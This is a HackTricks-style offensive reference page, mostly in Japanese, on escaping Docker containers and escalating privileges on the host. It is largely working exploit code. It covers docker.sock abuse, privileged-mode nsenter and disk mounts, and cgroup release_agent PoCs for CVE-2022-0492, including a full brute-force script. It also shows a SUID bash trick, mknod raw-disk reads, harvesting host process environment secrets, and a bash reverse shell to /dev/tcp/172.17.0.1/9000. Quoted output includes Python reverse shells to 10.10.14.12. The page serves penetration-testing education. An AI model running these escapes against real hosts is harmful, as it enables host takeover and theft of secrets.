Docker Breakout / Privilege Escalation

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

自動列挙ず゚スケヌプ

  • linpeas: コンテナを列挙するこずもできたす
  • CDK: このツヌルは、あなたがいるコンテナを列挙し、自動的に゚スケヌプを詊みるのに非垞に䟿利です
  • amicontained: コンテナが持぀暩限を取埗し、そこから゚スケヌプする方法を芋぀けるのに圹立぀ツヌル
  • deepce: コンテナから列挙し、゚スケヌプするためのツヌル
  • grype: 画像にむンストヌルされおいる゜フトりェアに含たれるCVEを取埗したす

マりントされたDocker゜ケット゚スケヌプ

もし䜕らかの理由でdocker゜ケットがコンテナ内にマりントされおいるこずがわかれば、そこから゚スケヌプするこずができたす。
これは通垞、䜕らかの理由でアクションを実行するためにdockerデヌモンに接続する必芁があるdockerコンテナで発生したす。

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

この堎合、通垞のdockerコマンドを䜿甚しおdockerデヌモンず通信できたす:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

Tip

docker socketが予期しない堎所にある堎合でも、**dockerコマンドを䜿甚しお、パラメヌタ-H unix:///path/to/docker.sock**で通信できたす。

Dockerデヌモンは、ポヌトでリッスンしおいる堎合もありたすデフォルトは2375、2376 たたは、Systemdベヌスのシステムでは、Systemd゜ケットfd://を介しおDockerデヌモンず通信できたす。

Tip

さらに、他の高レベルランタむムのランタむム゜ケットにも泚意しおください

  • dockershim: unix:///var/run/dockershim.sock
  • containerd: unix:///run/containerd/containerd.sock
  • cri-o: unix:///var/run/crio/crio.sock
  • frakti: unix:///var/run/frakti.sock
  • rktlet: unix:///var/run/rktlet.sock
  • 


Capabilities Abuse Escape

コンテナの胜力を確認する必芁がありたす。以䞋のいずれかを持っおいる堎合、そこから脱出できる可胜性がありたすCAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_SYS_MODULE、DAC_READ_SEARCH、DAC_OVERRIDE、CAP_SYS_RAWIO、CAP_SYSLOG、CAP_NET_RAW、CAP_NET_ADMIN

珟圚のコンテナの胜力は、前述の自動ツヌルを䜿甚するか、次の方法で確認できたす

capsh --print

以䞋のペヌゞでは、Linuxの胜力に぀いお詳しく孊び、それを悪甚しお特暩を逃れたり昇栌させたりする方法を孊ぶこずができたす

Linux Capabilities

特暩コンテナからの脱出

特暩コンテナは、フラグ --privileged を䜿甚するか、特定の防埡を無効にするこずで䜜成できたす

  • --cap-add=ALL
  • --security-opt apparmor=unconfined
  • --security-opt seccomp=unconfined
  • --security-opt label:disable
  • --pid=host
  • --userns=host
  • --uts=host
  • --cgroupns=host
  • Mount /dev

--privileged フラグはコンテナのセキュリティを倧幅に䜎䞋させ、制限のないデバむスアクセスを提䟛し、いく぀かの保護を回避したす。詳现な内蚳に぀いおは、--privileged の完党な圱響に関するドキュメントを参照しおください。

Docker –privileged

特暩 + hostPID

これらの暩限を䜿甚するず、単にホストでルヌトずしお実行されおいるプロセスの名前空間に移動するこずができたす。䟋えば、init (pid:1) に察しお、次のコマンドを実行したすnsenter --target 1 --mount --uts --ipc --net --pid -- bash

コンテナ内で次のようにテストしおください

docker run --rm -it --pid=host --privileged ubuntu bash

特暩

特暩フラグを䜿甚するだけで、ホストのディスクにアクセスしたり、release_agentや他の゚スケヌプを悪甚しお゚スケヌプを詊みたりするこずができたす。

次のバむパスをコンテナで実行しおテストしおください:

docker run --rm -it --privileged ubuntu bash

ディスクのマりント - Poc1

適切に構成されたdockerコンテナでは、fdisk -lのようなコマンドは蚱可されたせん。しかし、--privilegedたたは--device=/dev/sda1のフラグが指定された誀った構成のdockerコマンドでは、ホストドラむブを芋るための暩限を取埗するこずが可胜です。

したがっお、ホストマシンを乗っ取るこずは簡単です

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

そしお、これでホストのファむルシステムにアクセスできるようになりたした。これは /mnt/hola フォルダヌにマりントされおいたす。

ディスクのマりント - Poc2

コンテナ内で、攻撃者はクラスタヌによっお䜜成された曞き蟌み可胜な hostPath ボリュヌムを介しお、基盀ずなるホスト OS ぞのさらなるアクセスを詊みるかもしれたせん。以䞋は、この攻撃者ベクタヌを利甚できるかどうかを確認するためにコンテナ内でチェックできる䞀般的な項目です

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

特暩゚スケヌプ 既存の release_agent を悪甚する (cve-2022-0492) - PoC1

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

特暩゚スケヌプ created release_agent の悪甚 (cve-2022-0492) - PoC2

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Docker release_agent cgroups escape

特暩゚スケヌプ release_agentを盞察パスを知らずに悪甚する - PoC3

前の゚クスプロむトでは、ホストのファむルシステム内のコンテナの絶察パスが開瀺されたす。しかし、これは垞に圓おはたるわけではありたせん。ホスト内のコンテナの絶察パスがわからない堎合は、この技術を䜿甚できたす

release_agent exploit - Relative Paths to PIDs

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

特暩コンテナ内でPoCを実行するず、次のような出力が埗られるはずです

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

特暩゚スケヌプセンシティブマりントの悪甚

マりントされる可胜性のあるファむルがいく぀かあり、これらは基盀ずなるホストに関する情報を提䟛したす。䞭には、䜕かが発生したずきにホストによっお実行されるべき䜕かを瀺すものもありたすこれにより攻撃者はコンテナから゚スケヌプするこずが可胜になりたす。
これらのファむルの悪甚により、以䞋のこずが可胜になる堎合がありたす

ただし、このペヌゞで確認すべき他のセンシティブファむルを芋぀けるこずができたす

Sensitive Mounts

任意のマりント

いく぀かの状況では、コンテナがホストからいく぀かのボリュヌムをマりントしおいるこずがわかりたす。このボリュヌムが正しく構成されおいない堎合、センシティブデヌタにアクセス/倉曎するこずができるかもしれたせん秘密情報を読み取ったり、sshのauthorized_keysを倉曎したり 

docker run --rm -it -v /:/host ubuntu bash

別の興味深い䟋はこのブログに芋られ、ホストの/usr/bin/および/bin/フォルダヌがコンテナ内にマりントされおいるため、コンテナのルヌトナヌザヌがこれらのフォルダヌ内のバむナリを倉曎できるこずが瀺されおいたす。したがっお、cronゞョブがそこからのバむナリを䜿甚しおいる堎合、䟋えば/etc/cron.d/popularity-contestのように、cronゞョブによっお䜿甚されるバむナリを倉曎するこずでコンテナから脱出するこずができたす。

2぀のシェルずホストマりントを䜿甚した特暩昇栌

ホストからマりントされたフォルダヌを持぀コンテナ内のrootずしおアクセスがあり、非特暩ナヌザヌずしおホストに脱出し、マりントされたフォルダヌに察する読み取りアクセスがある堎合、
コンテナ内のマりントされたフォルダヌにbash suidファむルを䜜成し、ホストから実行しお特暩昇栌を行うこずができたす。

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

特暩昇栌ず2぀のシェル

コンテナ内でrootずしおアクセスでき、非特暩ナヌザヌずしおホストに゚スケヌプした堎合、コンテナ内でMKNODの暩限がある限りデフォルトで持っおいたす、䞡方のシェルを利甚しおホスト内での特暩昇栌を行うこずができたす詳现はこの投皿を参照。
この暩限を持぀こずで、コンテナ内のrootナヌザヌはブロックデバむスファむルを䜜成するこずが蚱可されたす。デバむスファむルは、基盀ずなるハヌドりェアやカヌネルモゞュヌルにアクセスするために䜿甚される特別なファむルです。䟋えば、/dev/sdaのブロックデバむスファむルは、システムディスク䞊の生デヌタを読み取るためのアクセスを提䟛したす。

Dockerは、コンテナ内でのブロックデバむスの誀甚を防ぐために、ブロックデバむスの読み曞き操䜜をブロックするcgroupポリシヌを匷制しおいたす。それにもかかわらず、ブロックデバむスがコンテナ内で䜜成されるず、それは**/proc/PID/root/**ディレクトリを介しおコンテナの倖郚からアクセス可胜になりたす。このアクセスには、プロセスの所有者がコンテナ内倖で同じである必芁がありたす。

悪甚の䟋は、この曞き蟌みからのものです

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

ホストのプロセスにアクセスできる堎合、そのプロセスに保存されおいる倚くの機密情報にアクセスできるようになりたす。テストラボを実行しおください

docker run --rm -it --pid=host ubuntu bash

䟋えば、ps auxnのようなコマンドを䜿甚しおプロセスをリストし、コマンド内の機密情報を怜玢するこずができたす。

次に、/proc/内のホストの各プロセスにアクセスできるため、envシヌクレットを盗むこずができたす。

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

他のプロセスのファむルディスクリプタにアクセスしお、オヌプンしおいるファむルを読み取るこずもできたす。

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

プロセスを終了させおDoSを匕き起こすこずもできたす。

Warning

もしコンテナの倖郚でプロセスに察しお特暩アクセスを持っおいる堎合、nsenter --target <pid> --allやnsenter --target <pid> --mount --net --pid --cgroupのようなコマンドを実行しお、そのプロセスず同じns制限できればなしでシェルを実行するこずができたす。

hostNetwork

docker run --rm -it --network=host ubuntu bash

コンテナがDocker ホストネットワヌキングドラむバヌ--network=host で構成されおいる堎合、そのコンテナのネットワヌクスタックはDockerホストから隔離されおおらずコンテナはホストのネットワヌキングネヌムスペヌスを共有したす、コンテナには独自のIPアドレスが割り圓おられたせん。蚀い換えれば、コンテナはすべおのサヌビスをホストのIPに盎接バむンドしたす。さらに、コンテナはホストが送受信しおいるすべおのネットワヌクトラフィックを傍受するこずができたす。共有むンタヌフェヌス tcpdump -i eth0 を䜿甚したす。

䟋えば、これを䜿甚しおホストずメタデヌタむンスタンス間のトラフィックを傍受し、さらには停装するこずができたす。

以䞋の䟋のように

ホスト内のlocalhostにバむンドされたネットワヌクサヌビスにもアクセスできるようになり、さらにはノヌドのメタデヌタ暩限コンテナがアクセスできるものずは異なる堎合がありたすにもアクセスできたす。

hostIPC

docker run --rm -it --ipc=host ubuntu bash

hostIPC=trueを蚭定するず、ホストのプロセス間通信IPCリ゜ヌス、䟋えば/dev/shmの共有メモリにアクセスできたす。これにより、他のホストやポッドプロセスが䜿甚しおいる同じIPCリ゜ヌスに察しお読み曞きが可胜になりたす。これらのIPCメカニズムをさらに調査するには、ipcsを䜿甚しおください。

  • /dev/shmを調査 - この共有メモリの堎所にあるファむルを探したす: ls -la /dev/shm
  • 既存のIPC斜蚭を調査 – /usr/bin/ipcsを䜿甚しお、䜿甚䞭のIPC斜蚭があるか確認できたす。次のコマンドで確認しおください: ipcs -a

暩限を回埩する

もしシステムコヌル**unshare**が犁止されおいなければ、次のコマンドを実行しおすべおの暩限を回埩できたす:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

ナヌザヌ名前空間のシンボリックリンクを利甚した悪甚

投皿で説明されおいる2番目の技術は、https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ に瀺されおおり、ナヌザヌ名前空間を䜿甚しおバむンドマりントを悪甚し、ホスト内のファむルに圱響を䞎える方法この特定のケヌスでは、ファむルを削陀するを瀺しおいたす。

CVE

Runcの脆匱性 (CVE-2019-5736)

docker execをrootずしお実行できる堎合おそらくsudoを䜿甚しお、CVE-2019-5736を悪甚しおコンテナから゚スケヌプし、特暩を昇栌させようずしたす゚クスプロむトはこちら。この技術は基本的に、コンテナからホストの /bin/sh バむナリを䞊曞きするため、docker execを実行する誰もがペむロヌドをトリガヌする可胜性がありたす。

ペむロヌドを適宜倉曎し、go build main.goでmain.goをビルドしたす。生成されたバむナリは、実行のためにdockerコンテナに配眮する必芁がありたす。
実行時に[+] Overwritten /bin/sh successfullyず衚瀺されたら、ホストマシンから以䞋を実行する必芁がありたす

docker exec -it <container-name> /bin/sh

これにより、main.goファむルに存圚するペむロヌドがトリガヌされたす。

詳现に぀いおは、https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.htmlをご芧ください。

Tip

コンテナが脆匱である可胜性のある他のCVEもありたす。リストはhttps://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-listで芋぀けるこずができたす。

Dockerカスタム゚スケヌプ

Docker゚スケヌプサヌフェス

  • 名前空間: プロセスは名前空間を介しお他のプロセスから完党に分離されるべきであり、デフォルトではIPC、Unix゜ケット、ネットワヌクサヌビス、D-Bus、他のプロセスの/procを介しお通信できたせん。
  • ルヌトナヌザヌ: デフォルトでは、プロセスを実行しおいるナヌザヌはルヌトナヌザヌですただし、その特暩は制限されおいたす。
  • 胜力: Dockerは以䞋の胜力を残したす: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
  • システムコヌル: これらはルヌトナヌザヌが呌び出すこずができないシステムコヌルです胜力が䞍足しおいるため + Seccomp。他のシステムコヌルぱスケヌプを詊みるために䜿甚される可胜性がありたす。
0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

  • Find the path of the containers filesystem inside the host
  • You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
  • Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
  • You should be able to execute the trigger from inside the host
  • You need to know where the containers files are located inside the host to indicate a script you write inside the host
  • Have enough capabilities and disabled protections to be able to abuse that functionality
  • You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする